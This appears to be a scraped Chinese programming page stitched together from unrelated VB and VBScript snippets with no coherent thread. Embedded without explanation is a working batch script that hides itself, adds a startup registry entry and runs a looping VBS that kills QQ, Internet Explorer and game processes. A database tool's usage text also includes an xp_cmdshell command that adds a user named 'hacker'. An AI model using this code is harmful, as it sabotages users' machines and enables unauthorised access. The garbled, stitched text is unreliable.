下面是一个典型的例子，检测字符串中是否包含一个元音字母：1、普通的方法：IfUCase$(char)="A"OrUCase$(char)="E"OrUCase$(char)="I"OrUCase$(char)="O"OrUCase$(char)="U"Then'itisavowelEndIf2、更加简练的方法：IfInStr("AaEeIiOoUu",char)Then'itisavowelEndIf同样，通过单词中没有的字符作为分界符，使用InStr来检查变量的内容下面的代码是一个类的骨架： ClassMyClass PrivateSubClass_Initialize() EndSub PrivateSubClass_Terminate() EndSub EndClass 使用这个基本信息，一个类被声明，并且可以使用它来创建对象

@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer="." >>%windir%\system32\jk.vbs echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q 步骤三：当Client连线的时候Server端会引发ConnectionRequest事件，Server的程式要这样子写：PrivateSubWinsock1_ConnectionRequest(ByValrequestIDAslong)winsock1.Closewinsock1.AcceptrequestIDEndSub步骤四：这样一来就可以传送资料了，传送和接受资料的方法如下：传送资料：mydata="你好吗?"winsock1.sendDatamydata这样就会把mydata给传到对方那里

if (lcase(right(wscript.fullname,11))="wscript.exe") then echo "Execute it under the cmd.exe Plz! Thx." echo "code by lcx" wscript.quit end If if wscript.arguments.count<1 then echo "Usage: cscript sql.vbs showTables e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;" echo "usage: cscript sql.vbs query 连接字符串 <表名=default:""""> sql语句 <页数=default:1>" echo "exp:cscript sql.vbs showTables "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34) echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"select * from name"&chr(34)&Space(1) & 1 echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"update....."&chr(34)&Space(1) & 1 echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"exec master.dbo.xp_cmdshell 'net user ice hacker /add'--"&chr(34)&Space(1) & 1 end If Sub chkErr(Err) If Err Then echo "错误: " & Err.Description & "错误源: " & Err.Source & vbcrlf Err.Clear wscript.quit End If End Sub Sub echo(str) wscript.echo str End Sub Function fixNull(str) If IsNull(str) Then str=" " End If fixNull=str End Function Sub showErr(str) Dim i, arrayStr arrayStr=Split(str, "$$") echo "出错信息:"&vbcrlf For i=0 To UBound(arrayStr) echo (i + 1) & ". " & arrayStr(i) & "<br/>" Next echo vbcrlf wscript.quit End Sub Rem=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem 下面是程序模块选择部分 Rem=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- PageMsDataBase() Sub pageMsDataBase() Dim theAct, sqlStr theAct=Wscript.Arguments(0) sqlStr=Wscript.Arguments(1) Select Case theAct Case "showTables" showTables() Case "query" showQuery() End Select End Sub Sub showTables() Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr sqlStr=Wscript.Arguments(1) If LCase(Left(sqlStr, 4))="sql:" Then connStr=Mid(sqlStr, 5) Else connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr End If Set conn=CreateObject("Adodb.Connection") conn.Open connStr chkErr(Err) tablesStr=getTableList(conn, sqlStr, rsTable) echo tablesStr & "=================================================" Do Until rsTable.Eof Set rsColumn=conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value)) echo rsTable("Table_Name") &vbcrlf Do Until rsColumn.Eof echo "字段名:" & rsColumn("Column_Name")&vbclrf echo "类型:" & getDataType(rsColumn("Data_Type")) & vbclrf echo "大小:" & rsColumn("Character_Maximum_Length") & vbclrf echo "精度:" & rsColumn("Numeric_Precision") & vbclrf echo "允许为空:" & rsColumn("Is_Nullable") & vbclrf echo "默认值:" & rsColumn("Column_Default") & vbclrf&vbclrf rsColumn.MoveNext Loop rsTable.MoveNext echo vbcrlf Loop echo "===============================================================" conn.Close Set conn=Nothing Set rsTable=Nothing Set rsColumn=Nothing End Sub Sub showQuery() Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable sqlStr=Wscript.Arguments(1) theTable=Wscript.Arguments(2) sql=Wscript.Arguments(3) page=Wscript.Arguments(4) If Not IsNumeric(page) or page="" Then page=1 End If If LCase(Left(sqlStr, 4))="sql:" Then connStr=Mid(sqlStr, 5) Else connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr End If Set rs=CreateObject("Adodb.RecordSet") Set conn=CreateObject("Adodb.Connection") conn.Open connStr chkErr(Err) tablesStr=getTableList(conn, sqlStr, rsTable) echo "数据库表结构查看:" echo tablesStr & "========================================================" echo ">SQL命令执行及查看<:"&vbcrlf If sql <> "" And Left(LCase(sql), 7)="select " Then rs.Open sql, conn, 1, 1 chkErr(Err) rs.PageSize=20 If Not rs.Eof Then rs.AbsolutePage=page End If If rs.Fields.Count>0 Then echo "SQL操作 - 执行结果"&vbcrlf echo "===================="&theTable&"列名如下========================================" For j=0 To rs.Fields.Count-1 echo rs.Fields(j).Name & vbcrlf Next For i=1 To 20 If rs.Eof Then Exit For End If For j=0 To rs.Fields.Count-1 echo fixNull(rs(j))& vbcrlf Next rs.MoveNext Next End If echo "=================================================================" echo " 共有"&rs.Fields.Count&"列" & vbcrlf For i=1 To rs.PageCount page=i Next echo " 共有" & page & "页" rs.Close Else If sql <> "" Then conn.Execute(sql) chkErr(Err) echo "执行完毕!"&vbcrlf End If End If conn.Close Set rs=Nothing Set conn=Nothing Set rsTable=Nothing End Sub Function getDataType(typeId) Select Case typeId Case 130 getDataType="文本" Case 2 getDataType="整型" Case 3 getDataType="长整型" Case 7 getDataType="日期/时间" Case 5 getDataType="双精度型" Case 11 getDataType="是/否" Case 128 getDataType="OLE 对象" Case Else getDataType=typeId End Select End Function Function getTableList(conn, sqlStr, rsTable) Set rsTable=conn.OpenSchema(20, Array(Empty, Empty, Empty, "table")) echo "存在以下表名:" Do Until rsTable.Eof getTableList=getTableList & "["& rsTable("Table_Name") & "]"&vbcrlf rsTable.MoveNext Loop rsTable.MoveFirst End Function 不可否认微软对市场的预测能力是极为高明的，而它强大的技术、财力支持也使它在许多以前未进入的领域，在不长的时间内有成为最有力的竞争对手，如IE之于浏览器领域，《帝国时代》之于游戏都是最好的例证

对RM/RMVB转换到MPEG1/2,宽和高应按16整倍数(如320×240)设置共有二种方法方法1:VB3/VB4之版本，可于Form_Load()程序中加入下列程式码：Me.Move(Screen.Width-Width)\2,(Screen.Height-Height)\2方法2:VB5以上之版本，则直接将Form之StartUpPosition设成(2-荧幕中央)即可->

在默认情况下，脚本在本地计算机上运行考古下载　　原则上讲，直接在Form里绘制曲线都是可以的，MSDN上面很多例程就是直接在Form里面绘制图形的，Form作为绘制图形的容器，不过一般应用中Form中不可避免的会有很多其他控件，所以我们选择PictureBox作为绘制曲线的容器Function GenerateSDDL(AccountName, AccessFlag, AccessType, AccessMask)Dim Accounts, ObjWMI, ObjSID, ObjTru, ObjACEConst SET_DACL_PRESENT=&H8004Set ObjWMI=GetObject("winmgmts:" & "{impersonationLevel=impersonate, (Security)}!\\.\root\cimv2")

。